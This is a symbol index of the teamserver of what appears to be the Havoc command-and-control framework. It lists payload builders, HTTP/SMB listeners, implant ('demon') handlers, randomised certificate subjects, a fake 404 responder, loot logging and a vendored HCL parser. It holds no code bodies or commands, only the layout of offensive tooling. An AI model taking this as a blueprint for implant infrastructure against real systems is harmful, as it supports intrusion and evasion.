  type Builder (line 78) | type Builder struct
    method SetSilent (line 213) | func (b *Builder) SetSilent(silent bool) {
    method Build (line 217) | func (b *Builder) Build() bool {
    method SetListener (line 459) | func (b *Builder) SetListener(Type int, Config any) {
    method SetPatchConfig (line 464) | func (b *Builder) SetPatchConfig(Config any) {
    method SetFormat (line 481) | func (b *Builder) SetFormat(Format int) {
    method SetArch (line 485) | func (b *Builder) SetArch(Arch int) {
    method SetConfig (line 489) | func (b *Builder) SetConfig(Config string) error {
    method SetOutputPath (line 501) | func (b *Builder) SetOutputPath(path string) {
    method SetExtension (line 505) | func (b *Builder) SetExtension(ext string) {
    method GetOutputPath (line 509) | func (b *Builder) GetOutputPath() string {
    method Patch (line 513) | func (b *Builder) Patch(ByteArray []byte) []byte {
    method PatchConfig (line 561) | func (b *Builder) PatchConfig() ([]byte, error) {
    method GetPayloadBytes (line 1024) | func (b *Builder) GetPayloadBytes() []byte {
    method Cmd (line 1064) | func (b *Builder) Cmd(cmd string) bool {
    method CompileCmd (line 1090) | func (b *Builder) CompileCmd(cmd string) bool {
    method GetListenerDefines (line 1102) | func (b *Builder) GetListenerDefines() []string {
    method DeletePayload (line 1122) | func (b *Builder) DeletePayload() {
  function NewBuilder (line 141) | func NewBuilder(config BuilderConfig) *Builder {

FILE: teamserver/pkg/common/certs/https.go
  constant HTTPSCA (line 27) | HTTPSCA = "https"
  constant RSAKeySize (line 30) | RSAKeySize = 2048
  constant validFor (line 33) | validFor = 3 * (365 * 24 * time.Hour)
  constant ECCKey (line 36) | ECCKey = "ecc"
  constant RSAKey (line 39) | RSAKey = "rsa"
  function randomState (line 115) | func randomState() string {
  function randomLocality (line 123) | func randomLocality(state string) string {
  function randomStreetAddress (line 132) | func randomStreetAddress(state string, locality string) string {
  function randomProvinceLocalityStreetAddress (line 137) | func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
  function randomPostalCode (line 144) | func randomPostalCode() []string {
  function randomSubject (line 153) | func randomSubject(commonName string) *pkix.Name {
  function randomOrganization (line 166) | func randomOrganization() []string {
  function publicKey (line 182) | func publicKey(priv interface{}) interface{} {
  function randomInt (line 193) | func randomInt(max int) int {
  function pemBlockForKey (line 200) | func pemBlockForKey(priv interface{}) *pem.Block {
  function generateCertificate (line 216) | func generateCertificate(caType string, subject pkix.Name, isCA bool, is...
  function HTTPSGenerateRSACertificate (line 300) | func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {

FILE: teamserver/pkg/common/crypt/aes.go
  function XCryptBytesAES256 (line 10) | func XCryptBytesAES256(XBytes []byte, AESKey []byte, AESIv []byte) []byte {

FILE: teamserver/pkg/common/packer/packer.go
  type Packer (line 14) | type Packer struct
    method AddInt64 (line 29) | func (p *Packer) AddInt64(data int64) {
    method AddInt32 (line 37) | func (p *Packer) AddInt32(data int32) {
    method AddInt (line 45) | func (p *Packer) AddInt(data int) {
    method AddUInt32 (line 54) | func (p *Packer) AddUInt32(data uint32) {
    method AddString (line 62) | func (p *Packer) AddString(data string) {
    method AddWString (line 66) | func (p *Packer) AddWString(data string) {
    method AddBytes (line 70) | func (p *Packer) AddBytes(data []byte) {
    method Build (line 80) | func (p *Packer) Build() []byte {
    method Buffer (line 95) | func (p *Packer) Buffer() []byte {
    method Size (line 99) | func (p *Packer) Size() int {
    method AddOwnSizeFirst (line 103) | func (p *Packer) AddOwnSizeFirst() {
  function NewPacker (line 22) | func NewPacker(AesKey, AesIV []byte) *Packer {

FILE: teamserver/pkg/common/parser/parser.go
  type ReadType (line 9) | type ReadType
  constant ReadInt32 (line 12) | ReadInt32 ReadType = iota
  constant ReadInt64 (line 13) | ReadInt64
  constant ReadBytes (line 14) | ReadBytes
  constant ReadPointer (line 15) | ReadPointer
  constant ReadBool (line 16) | ReadBool
  type Parser (line 19) | type Parser struct
    method CanIRead (line 31) | func (p *Parser) CanIRead(ReadTypes []ReadType) bool {
    method ParseInt32 (line 82) | func (p *Parser) ParseInt32() int {
    method ParseInt64 (line 106) | func (p *Parser) ParseInt64() int64 {
    method ParseBool (line 130) | func (p *Parser) ParseBool() bool {
    method ParsePointer (line 154) | func (p *Parser) ParsePointer() int64 {
    method SetBigEndian (line 158) | func (p *Parser) SetBigEndian(bigEndian bool) {
    method ParseBytes (line 162) | func (p *Parser) ParseBytes() []byte {
    method ParseAtLeastBytes (line 177) | func (p *Parser) ParseAtLeastBytes(NumberOfBytes int) []byte {
    method ParseUTF16String (line 189) | func (p *Parser) ParseUTF16String() string {
    method ParseString (line 193) | func (p *Parser) ParseString() string {
    method Length (line 197) | func (p *Parser) Length() int {
    method Buffer (line 201) | func (p *Parser) Buffer() []byte {
    method DecryptBuffer (line 205) | func (p *Parser) DecryptBuffer(AESKey []byte, AESIv []byte) {
  function NewParser (line 24) | func NewParser(buffer []byte) *Parser {

FILE: teamserver/pkg/common/util.go
  function ParseWorkingHours (line 26) | func ParseWorkingHours(WorkingHours string) (int32, error) {
  function Bmp2Png (line 76) | func Bmp2Png(BmpBytes []byte) []byte {
  function DecodeUTF16 (line 99) | func DecodeUTF16(b []byte) string {
  function EncodeUTF16 (line 118) | func EncodeUTF16(s string) []byte {
  function EncodeUTF8 (line 135) | func EncodeUTF8(s string) []byte {
  function ByteCountSI (line 144) | func ByteCountSI(b int64) string {
  function XorCipher (line 158) | func XorCipher(input, key string) (output string) {
  function RandomString (line 166) | func RandomString(n int) string {
  function Int32ToLittle (line 175) | func Int32ToLittle(x uint32) uint32 {
  function StripNull (line 181) | func StripNull(s string) string {
  function PercentageChange (line 185) | func PercentageChange(part int, total int64) float64 {
  function IpStringToInt32 (line 189) | func IpStringToInt32(ip string) (int, error) {
  function Int32ToIpString (line 198) | func Int32ToIpString(ipInt int64) string {
  function EpochTimeToSystemTime (line 209) | func EpochTimeToSystemTime( EpochTime int64 ) int64 {
  function GetRandomChar (line 222) | func GetRandomChar(dict string) string {
  function GeneratePipeName (line 227) | func GeneratePipeName(Template string, PID int, TID int) string {
  function GetInterfaceIpv4Addr (line 279) | func GetInterfaceIpv4Addr(interfaceOrIp string) string {

FILE: teamserver/pkg/db/agents.go
  method AgentAdd (line 12) | func (db *DB) AgentAdd(agent *agent.Agent) error {
  method AgentUpdate (line 81) | func (db *DB) AgentUpdate(agent *agent.Agent) error {
  method AgentHasDied (line 145) | func (db *DB) AgentHasDied(AgentID int) bool {
  method AgentExist (line 163) | func (db *DB) AgentExist(AgentID int) bool {
  method AgentRemove (line 192) | func (db *DB) AgentRemove(AgentID int) error {
  method AgentAll (line 211) | func (db *DB) AgentAll() []*agent.Agent {

FILE: teamserver/pkg/db/db.go
  type DB (line 10) | type DB struct
    method init (line 48) | func (db *DB) init() error {
    method Existed (line 69) | func (db *DB) Existed() bool {
    method Path (line 73) | func (db *DB) Path() string {
  function DatabaseNew (line 16) | func DatabaseNew(dbpath string) (*DB, error) {

FILE: teamserver/pkg/db/links.go
  method LinkAdd (line 8) | func (db *DB) LinkAdd(ParentAgentID int, LinkAgentID int) error {
  method LinkExist (line 46) | func (db *DB) LinkExist(ParentAgentID int, LinkAgentID int) bool {
  method ParentOf (line 75) | func (db *DB) ParentOf(AgentID int) (int, error) {
  method LinksOf (line 104) | func (db *DB) LinksOf(AgentID int) []int {
  method LinkRemove (line 136) | func (db *DB) LinkRemove(ParentAgentID int, LinkAgentID int) error {

FILE: teamserver/pkg/db/listeners.go
  method ListenerAdd (line 8) | func (db *DB) ListenerAdd(Name, Protocol, Config string) error {
  method ListenerExist (line 46) | func (db *DB) ListenerExist(Name string) bool {
  method ListenerAll (line 66) | func (db *DB) ListenerAll() []map[string]string {
  method ListenerCount (line 107) | func (db *DB) ListenerCount() int {
  method ListenerNames (line 126) | func (db *DB) ListenerNames() []string {
  method ListenerRemove (line 152) | func (db *DB) ListenerRemove(Name string) error {

FILE: teamserver/pkg/events/chatlog.go
  method NewUserConnected (line 11) | func (chatLog) NewUserConnected(User string) packager.Package {
  method UserDisconnected (line 27) | func (chatLog) UserDisconnected(User string) packager.Package {

FILE: teamserver/pkg/events/demons.go
  method NewDemon (line 19) | func (demons) NewDemon(Agent *agent.Agent) packager.Package {
  method DemonOutput (line 83) | func (demons) DemonOutput(DemonID string, CommandID int, Output string) ...
  method CallBack (line 105) | func (demons) CallBack(DemonID string, callback string) packager.Package {
  method MarkAs (line 121) | func (demons) MarkAs(AgentID, Mark string) packager.Package {

FILE: teamserver/pkg/events/events.go
  type chatLog (line 14) | type chatLog
  type listeners (line 15) | type listeners
  type demons (line 16) | type demons
  type gate (line 17) | type gate
  type service (line 18) | type service
  type teamserver (line 19) | type teamserver
  function Authenticated (line 22) | func Authenticated(authed bool) packager.Package {
  function UserAlreadyExits (line 56) | func UserAlreadyExits() packager.Package {
  function UserDoNotExists (line 72) | func UserDoNotExists() packager.Package {
  function SendProfile (line 88) | func SendProfile(profile *profile.Profile) packager.Package {

FILE: teamserver/pkg/events/gate.go
  method SendStageless (line 12) | func (g gate) SendStageless(Format string, payload []byte) packager.Pack...
  method SendConsoleMessage (line 30) | func (g gate) SendConsoleMessage(MsgType, text string) packager.Package {

FILE: teamserver/pkg/events/listeners.go
  method ListenerAdd (line 15) | func (listeners) ListenerAdd(FromUser string, Type int, Config any) pack...
  method ListenerEdit (line 97) | func (listeners) ListenerEdit(Type int, Config any) packager.Package {
  method ListenerError (line 154) | func (listeners) ListenerError(FromUser string, ListenerName string, err...
  method ListenerRemove (line 173) | func (listeners) ListenerRemove(ListenerName string) packager.Package {
  method ListenerMark (line 187) | func (listeners) ListenerMark(ListenerName string, Mark string) packager...

FILE: teamserver/pkg/events/service.go
  method AgentRegister (line 11) | func (service) AgentRegister(AgentData string) packager.Package {
  method ListenerRegister (line 25) | func (service) ListenerRegister(ListenerData string) packager.Package {

FILE: teamserver/pkg/events/teamserver.go
  method Logger (line 11) | func (teamserver) Logger(text string) packager.Package {
  method Profile (line 25) | func (teamserver) Profile(profile string) packager.Package {

FILE: teamserver/pkg/handlers/external.go
  function NewExternal (line 15) | func NewExternal(WebSocketEngine any, Config ExternalConfig) *External {
  method Start (line 24) | func (e *External) Start() {
  method Request (line 37) | func (e *External) Request(ctx *gin.Context) {

FILE: teamserver/pkg/handlers/handlers.go
  function parseAgentRequest (line 23) | func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, Externa...
  function handleDemonAgent (line 56) | func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ...
  function handleServiceAgent (line 311) | func handleServiceAgent(Teamserver agent.TeamServer, Header agent.Header...
  function notifyTaskSize (line 349) | func notifyTaskSize(teamserver agent.TeamServer) {

FILE: teamserver/pkg/handlers/http.go
  function NewConfigHttp (line 24) | func NewConfigHttp() *HTTP {
  method generateCertFiles (line 32) | func (h *HTTP) generateCertFiles() bool {
  method fake404 (line 80) | func (h *HTTP) fake404(ctx *gin.Context) {
  method request (line 93) | func (h *HTTP) request(ctx *gin.Context) {
  method Start (line 203) | func (h *HTTP) Start() {
  method Stop (line 277) | func (h *HTTP) Stop() error {

FILE: teamserver/pkg/handlers/smb.go
  function NewPivotSmb (line 8) | func NewPivotSmb() *SMB {
  method Start (line 14) | func (s *SMB) Start() {

FILE: teamserver/pkg/handlers/types.go
  type HTTPConfig (line 12) | type HTTPConfig struct
  type ExternalConfig (line 48) | type ExternalConfig struct
  type SMBConfig (line 53) | type SMBConfig struct
  type HTTP (line 62) | type HTTP struct
  type SMB (line 81) | type SMB struct
  type External (line 91) | type External struct
  type Service (line 99) | type Service struct
  constant LISTENER_HTTP (line 106) | LISTENER_HTTP      = 1
  constant LISTENER_PIVOT_SMB (line 107) | LISTENER_PIVOT_SMB = 2
  constant LISTENER_EXTERNAL (line 108) | LISTENER_EXTERNAL  = 3
  constant LISTENER_SERVICE (line 109) | LISTENER_SERVICE   = 4
  constant AGENT_HTTPS (line 111) | AGENT_HTTPS     = "Https"
  constant AGENT_HTTP (line 112) | AGENT_HTTP      = "Http"
  constant AGENT_EXTERNAL (line 113) | AGENT_EXTERNAL  = "External"
  constant AGENT_PIVOT_SMB (line 114) | AGENT_PIVOT_SMB = "Smb"

FILE: teamserver/pkg/logger/global.go
  function init (line 11) | func init() {
  function NewLogger (line 15) | func NewLogger(StdOut io.Writer) *Logger {
  function Info (line 27) | func Info(args ...interface{}) {
  function Good (line 31) | func Good(args ...interface{}) {
  function Debug (line 35) | func Debug(args ...interface{}) {
  function DebugError (line 39) | func DebugError(args ...interface{}) {
  function Warn (line 43) | func Warn(args ...interface{}) {
  function Error (line 47) | func Error(args ...interface{}) {
  function Fatal (line 51) | func Fatal(args ...interface{}) {
  function Panic (line 55) | func Panic(args ...interface{}) {
  function SetDebug (line 59) | func SetDebug(enable bool) {
  function ShowTime (line 63) | func ShowTime(time bool) {
  function SetStdOut (line 67) | func SetStdOut(w io.Writer) {

FILE: teamserver/pkg/logger/logger.go
  function FunctionTrace (line 15) | func FunctionTrace() (string, int) {
  type Logger (line 34) | type Logger struct
    method Info (line 43) | func (logger *Logger) Info(args ...interface{}) {
    method Good (line 52) | func (logger *Logger) Good(args ...interface{}) {
    method Debug (line 61) | func (logger *Logger) Debug(args ...interface{}) {
    method DebugError (line 74) | func (logger *Logger) DebugError(args ...interface{}) {
    method Warn (line 87) | func (logger *Logger) Warn(args ...interface{}) {
    method Error (line 96) | func (logger *Logger) Error(args ...interface{}) {
    method Fatal (line 105) | func (logger *Logger) Fatal(args ...interface{}) {
    method Panic (line 115) | func (logger *Logger) Panic(args ...interface{}) {
    method SetDebug (line 125) | func (logger *Logger) SetDebug(enable bool) {
    method ShowTime (line 129) | func (logger *Logger) ShowTime(time bool) {

FILE: teamserver/pkg/logr/demon.go
  method AddAgentInput (line 15) | func (l Logr) AddAgentInput(AgentType, AgentID, User, TaskID, Input stri...
  method AddAgentRaw (line 50) | func (l Logr) AddAgentRaw(AgentID, Raw string) {
  method DemonAddOutput (line 82) | func (l Logr) DemonAddOutput(DemonID string, Output map[string]string, t...
  method DemonAddDownloadedFile (line 134) | func (l Logr) DemonAddDownloadedFile(DemonID, FileName string, FileBytes...
  method DemonSaveScreenshot (line 177) | func (l Logr) DemonSaveScreenshot(DemonID, Name string, BmpBytes []byte)...

FILE: teamserver/pkg/logr/listener.go
  method ListenerAddKeyCert (line 3) | func (l Logr) ListenerAddKeyCert(Name, Key, Cert string) {

FILE: teamserver/pkg/logr/logr.go
  type Logr (line 9) | type Logr struct
  function NewLogr (line 21) | func NewLogr(Server, Path string) *Logr {

FILE: teamserver/pkg/logr/server.go
  function strip (line 12) | func strip(str []byte) []byte {
  method ServerStdOutInit (line 21) | func (l Logr) ServerStdOutInit() {

FILE: teamserver/pkg/packager/packages.go
  function NewPackager (line 9) | func NewPackager() *Packager {
  method CreatePackage (line 13) | func (p Packager) CreatePackage(jsonObject string) Package {

FILE: teamserver/pkg/packager/types.go
  type MiscType (line 4) | type MiscType struct
  type Head (line 9) | type Head struct
  type Body (line 17) | type Body struct
  type Packager (line 22) | type Packager struct
  type Package (line 24) | type Package struct
  type Types (line 29) | type Types struct

FILE: teamserver/pkg/profile/config.go
  type HavocConfig (line 3) | type HavocConfig struct
  type WebHookDiscordConfig (line 12) | type WebHookDiscordConfig struct
  type WebHookConfig (line 18) | type WebHookConfig struct
  type BuildConfig (line 22) | type BuildConfig struct
  type ServiceConfig (line 28) | type ServiceConfig struct
  type ServerProfile (line 33) | type ServerProfile struct
  type OperatorsBlock (line 42) | type OperatorsBlock struct
  type UsersBlock (line 46) | type UsersBlock struct
  type Listeners (line 51) | type Listeners struct
  type ListenerHTTP (line 57) | type ListenerHTTP struct
  type ListenerSMB (line 87) | type ListenerSMB struct
  type ListenerExternal (line 97) | type ListenerExternal struct
  type ListenerHttpResponse (line 102) | type ListenerHttpResponse struct
  type ListenerHttpProxy (line 106) | type ListenerHttpProxy struct
  type ListenerHttpCerts (line 113) | type ListenerHttpCerts struct
  type HeaderBlock (line 118) | type HeaderBlock struct
  type Binary (line 127) | type Binary struct
  type ProcessInjectionBlock (line 134) | type ProcessInjectionBlock struct
  type Demon (line 139) | type Demon struct

FILE: teamserver/pkg/profile/profile.go
  type Profile (line 9) | type Profile struct
    method SetProfile (line 17) | func (p *Profile) SetProfile(path string, def bool) error {
    method ServerHost (line 32) | func (p *Profile) ServerHost() string {
    method ServerPort (line 39) | func (p *Profile) ServerPort() int {
    method ListOfUsernames (line 46) | func (p *Profile) ListOfUsernames() []string {
  function NewProfile (line 13) | func NewProfile() *Profile {

FILE: teamserver/pkg/profile/yaotl/diagnostic.go
  type DiagnosticSeverity (line 8) | type DiagnosticSeverity
  constant DiagInvalid (line 12) | DiagInvalid DiagnosticSeverity = iota
  constant DiagError (line 16) | DiagError
  constant DiagWarning (line 21) | DiagWarning
  type Diagnostic (line 26) | type Diagnostic struct
    method Error (line 76) | func (d *Diagnostic) Error() string {
  type Diagnostics (line 69) | type Diagnostics
    method Error (line 82) | func (d Diagnostics) Error() string {
    method Append (line 104) | func (d Diagnostics) Append(diag *Diagnostic) Diagnostics {
    method Extend (line 113) | func (d Diagnostics) Extend(diags Diagnostics) Diagnostics {
    method HasErrors (line 119) | func (d Diagnostics) HasErrors() bool {
    method Errs (line 128) | func (d Diagnostics) Errs() []error {
  type DiagnosticWriter (line 140) | type DiagnosticWriter interface

FILE: teamserver/pkg/profile/yaotl/diagnostic_text.go
  type diagnosticTextWriter (line 15) | type diagnosticTextWriter struct
    method WriteDiagnostic (line 43) | func (w *diagnosticTextWriter) WriteDiagnostic(diag *Diagnostic) error {
    method WriteDiagnostics (line 208) | func (w *diagnosticTextWriter) WriteDiagnostics(diags Diagnostics) err...
    method traversalStr (line 218) | func (w *diagnosticTextWriter) traversalStr(traversal Traversal) string {
    method valueStr (line 246) | func (w *diagnosticTextWriter) valueStr(val cty.Value) string {
  function NewDiagnosticTextWriter (line 34) | func NewDiagnosticTextWriter(wr io.Writer, files map[string]*File, width...
  function contextString (line 302) | func contextString(file *File, offset int) string {

FILE: teamserver/pkg/profile/yaotl/didyoumean.go
  function nameSuggestion (line 16) | func nameSuggestion(given string, suggestions []string) string {

FILE: teamserver/pkg/profile/yaotl/eval_context.go
  type EvalContext (line 10) | type EvalContext struct
    method NewChild (line 17) | func (ctx *EvalContext) NewChild() *EvalContext {
    method Parent (line 23) | func (ctx *EvalContext) Parent() *EvalContext {

FILE: teamserver/pkg/profile/yaotl/expr_call.go
  function ExprCall (line 14) | func ExprCall(expr Expression) (*StaticCall, Diagnostics) {
  type StaticCall (line 41) | type StaticCall struct

FILE: teamserver/pkg/profile/yaotl/expr_list.go
  function ExprList (line 14) | func ExprList(expr Expression) ([]Expression, Diagnostics) {

FILE: teamserver/pkg/profile/yaotl/expr_map.go
  function ExprMap (line 14) | func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) {
  type KeyValuePair (line 41) | type KeyValuePair struct

FILE: teamserver/pkg/profile/yaotl/expr_unwrap.go
  type unwrapExpression (line 3) | type unwrapExpression interface
  function UnwrapExpression (line 28) | func UnwrapExpression(expr Expression) Expression {
  function UnwrapExpressionUntil (line 54) | func UnwrapExpressionUntil(expr Expression, until func(Expression) bool)...

FILE: teamserver/pkg/profile/yaotl/ext/customdecode/customdecode.go
  type customDecoderImpl (line 14) | type customDecoderImpl
  constant CustomExpressionDecoder (line 33) | CustomExpressionDecoder = customDecoderImpl(1)
  type CustomExpressionDecoderFunc (line 42) | type CustomExpressionDecoderFunc
  function CustomExpressionDecoderForType (line 48) | func CustomExpressionDecoderForType(ty cty.Type) CustomExpressionDecoder...

FILE: teamserver/pkg/profile/yaotl/ext/customdecode/expression_type.go
  function ExpressionVal (line 27) | func ExpressionVal(expr hcl.Expression) cty.Value {
  function ExpressionFromVal (line 33) | func ExpressionFromVal(v cty.Value) hcl.Expression {
  type ExpressionClosure (line 51) | type ExpressionClosure struct
    method Value (line 64) | func (c *ExpressionClosure) Value() (cty.Value, hcl.Diagnostics) {
  function ExpressionClosureVal (line 58) | func ExpressionClosureVal(closure *ExpressionClosure) cty.Value {
  function ExpressionClosureFromVal (line 75) | func ExpressionClosureFromVal(v cty.Value) *ExpressionClosure {
  function init (line 82) | func init() {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_body.go
  type expandBody (line 12) | type expandBody struct
    method Content (line 29) | func (b *expandBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent...
    method PartialContent (line 46) | func (b *expandBody) PartialContent(schema *hcl.BodySchema) (*hcl.Body...
    method extendSchema (line 85) | func (b *expandBody) extendSchema(schema *hcl.BodySchema) *hcl.BodySch...
    method prepareAttributes (line 121) | func (b *expandBody) prepareAttributes(rawAttrs hcl.Attributes) hcl.At...
    method expandBlocks (line 151) | func (b *expandBody) expandBlocks(schema *hcl.BodySchema, rawBlocks hc...
    method expandChild (line 232) | func (b *expandBody) expandChild(child hcl.Body, i *iteration) hcl.Body {
    method JustAttributes (line 239) | func (b *expandBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {
    method MissingItemRange (line 246) | func (b *expandBody) MissingItemRange() hcl.Range {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_body_test.go
  function TestExpand (line 13) | func TestExpand(t *testing.T) {
  function TestExpandUnknownBodies (line 336) | func TestExpandUnknownBodies(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expand_spec.go
  type expandSpec (line 11) | type expandSpec struct
    method newBlock (line 153) | func (s *expandSpec) newBlock(i *iteration, ctx *hcl.EvalContext) (*hc...
  method decodeSpec (line 22) | func (b *expandBody) decodeSpec(blockS *hcl.BlockHeaderSchema, rawSpec *...

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/expr_wrap.go
  type exprWrap (line 8) | type exprWrap struct
    method Variables (line 13) | func (e exprWrap) Variables() []hcl.Traversal {
    method Value (line 33) | func (e exprWrap) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnost...
    method UnwrapExpression (line 40) | func (e exprWrap) UnwrapExpression() hcl.Expression {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/iteration.go
  type iteration (line 8) | type iteration struct
    method Object (line 24) | func (i *iteration) Object() cty.Value {
    method EvalContext (line 31) | func (i *iteration) EvalContext(base *hcl.EvalContext) *hcl.EvalContext {
    method MakeChild (line 45) | func (i *iteration) MakeChild(iteratorName string, key, value cty.Valu...
  method MakeIteration (line 15) | func (s *expandSpec) MakeIteration(key, value cty.Value) *iteration {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/public.go
  function Expand (line 42) | func Expand(body hcl.Body, ctx *hcl.EvalContext) hcl.Body {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/unknown_body.go
  type unknownBody (line 17) | type unknownBody struct
    method Unknown (line 24) | func (b unknownBody) Unknown() bool {
    method Content (line 28) | func (b unknownBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent...
    method PartialContent (line 38) | func (b unknownBody) PartialContent(schema *hcl.BodySchema) (*hcl.Body...
    method JustAttributes (line 49) | func (b unknownBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {
    method MissingItemRange (line 59) | func (b unknownBody) MissingItemRange() hcl.Range {
    method fixupContent (line 63) | func (b unknownBody) fixupContent(got *hcl.BodyContent) *hcl.BodyConte...
    method fixupAttrs (line 78) | func (b unknownBody) fixupAttrs(got hcl.Attributes) hcl.Attributes {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables.go
  function WalkVariables (line 19) | func WalkVariables(body hcl.Body) WalkVariablesNode {
  function WalkExpandVariables (line 32) | func WalkExpandVariables(body hcl.Body) WalkVariablesNode {
  type WalkVariablesNode (line 38) | type WalkVariablesNode struct
    method Visit (line 70) | func (n WalkVariablesNode) Visit(schema *hcl.BodySchema) (vars []hcl.T...
    method extendSchema (line 172) | func (n WalkVariablesNode) extendSchema(schema *hcl.BodySchema) *hcl.B...
  type WalkVariablesChild (line 45) | type WalkVariablesChild struct
    method Body (line 58) | func (c WalkVariablesChild) Body() hcl.Body {

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables_hcldec.go
  function VariablesHCLDec (line 16) | func VariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal {
  function ExpandVariablesHCLDec (line 25) | func ExpandVariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traver...
  function walkVariablesWithHCLDec (line 30) | func walkVariablesWithHCLDec(node WalkVariablesNode, spec hcldec.Spec) [...

FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables_test.go
  function TestVariables (line 16) | func TestVariables(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/transform/error.go
  function NewErrorBody (line 17) | func NewErrorBody(diags hcl.Diagnostics) hcl.Body {
  function BodyWithDiagnostics (line 39) | func BodyWithDiagnostics(body hcl.Body, diags hcl.Diagnostics) hcl.Body {
  type diagBody (line 51) | type diagBody struct
    method Content (line 56) | func (b diagBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, h...
    method PartialContent (line 68) | func (b diagBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyCon...
    method JustAttributes (line 80) | func (b diagBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {
    method MissingItemRange (line 92) | func (b diagBody) MissingItemRange() hcl.Range {
    method emptyContent (line 104) | func (b diagBody) emptyContent() *hcl.BodyContent {

FILE: teamserver/pkg/profile/yaotl/ext/transform/transform.go
  function Shallow (line 9) | func Shallow(body hcl.Body, transformer Transformer) hcl.Body {
  function Deep (line 24) | func Deep(body hcl.Body, transformer Transformer) hcl.Body {
  type deepWrapper (line 34) | type deepWrapper struct
    method Content (line 39) | func (w deepWrapper) Content(schema *hcl.BodySchema) (*hcl.BodyContent...
    method PartialContent (line 45) | func (w deepWrapper) PartialContent(schema *hcl.BodySchema) (*hcl.Body...
    method transformContent (line 51) | func (w deepWrapper) transformContent(content *hcl.BodyContent) *hcl.B...
    method JustAttributes (line 76) | func (w deepWrapper) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {
    method MissingItemRange (line 81) | func (w deepWrapper) MissingItemRange() hcl.Range {

FILE: teamserver/pkg/profile/yaotl/ext/transform/transform_test.go
  function TestDeep (line 16) | func TestDeep(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/transform/transformer.go
  type Transformer (line 15) | type Transformer interface
  type TransformerFunc (line 20) | type TransformerFunc
    method TransformBody (line 23) | func (f TransformerFunc) TransformBody(in hcl.Body) hcl.Body {
  type chain (line 27) | type chain
    method TransformBody (line 35) | func (c chain) TransformBody(body hcl.Body) hcl.Body {
  function Chain (line 31) | func Chain(c []Transformer) Transformer {

FILE: teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc.go
  function init (line 30) | func init() {
  function try (line 61) | func try(args []cty.Value) (cty.Value, error) {
  function can (line 109) | func can(arg cty.Value) (cty.Value, error) {
  function dependsOnUnknowns (line 130) | func dependsOnUnknowns(expr hcl.Expression, ctx *hcl.EvalContext) bool {

FILE: teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc_test.go
  function TestTryFunc (line 12) | func TestTryFunc(t *testing.T) {
  function TestCanFunc (line 169) | func TestCanFunc(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/get_type.go
  constant invalidTypeSummary (line 10) | invalidTypeSummary = "Invalid type specification"
  function getType (line 15) | func getType(expr hcl.Expression, constraint bool) (cty.Type, hcl.Diagno...

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/get_type_test.go
  function TestGetType (line 14) | func TestGetType(t *testing.T) {
  function TestGetTypeJSON (line 282) | func TestGetTypeJSON(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/public.go
  function Type (line 17) | func Type(expr hcl.Expression) (cty.Type, hcl.Diagnostics) {
  function TypeConstraint (line 28) | func TypeConstraint(expr hcl.Expression) (cty.Type, hcl.Diagnostics) {
  function TypeString (line 44) | func TypeString(ty cty.Type) string {

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_string_test.go
  function TestTypeString (line 9) | func TestTypeString(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_type.go
  function TypeConstraintVal (line 26) | func TypeConstraintVal(ty cty.Type) cty.Value {
  function TypeConstraintFromVal (line 35) | func TypeConstraintFromVal(v cty.Value) cty.Type {
  function init (line 57) | func init() {

FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_type_test.go
  function TestTypeConstraintType (line 10) | func TestTypeConstraintType(t *testing.T) {
  function TestConvertFunc (line 30) | func TestConvertFunc(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/userfunc/decode.go
  function decodeUserFunctions (line 26) | func decodeUserFunctions(body hcl.Body, blockType string, contextFunc Co...

FILE: teamserver/pkg/profile/yaotl/ext/userfunc/decode_test.go
  function TestDecodeUserFunctions (line 12) | func TestDecodeUserFunctions(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/ext/userfunc/public.go
  type ContextFunc (line 20) | type ContextFunc
  function DecodeUserFunctions (line 40) | func DecodeUserFunctions(body hcl.Body, blockType string, context Contex...

FILE: teamserver/pkg/profile/yaotl/gohcl/decode.go
  function DecodeBody (line 30) | func DecodeBody(body hcl.Body, ctx *hcl.EvalContext, val interface{}) hc...
  function decodeBodyToValue (line 39) | func decodeBodyToValue(body hcl.Body, ctx *hcl.EvalContext, val reflect....
  function decodeBodyToStruct (line 51) | func decodeBodyToStruct(body hcl.Body, ctx *hcl.EvalContext, val reflect...
  function decodeBodyToMap (line 234) | func decodeBodyToMap(body hcl.Body, ctx *hcl.EvalContext, v reflect.Valu...
  function decodeBlockToValue (line 260) | func decodeBlockToValue(block *hcl.Block, ctx *hcl.EvalContext, v reflec...
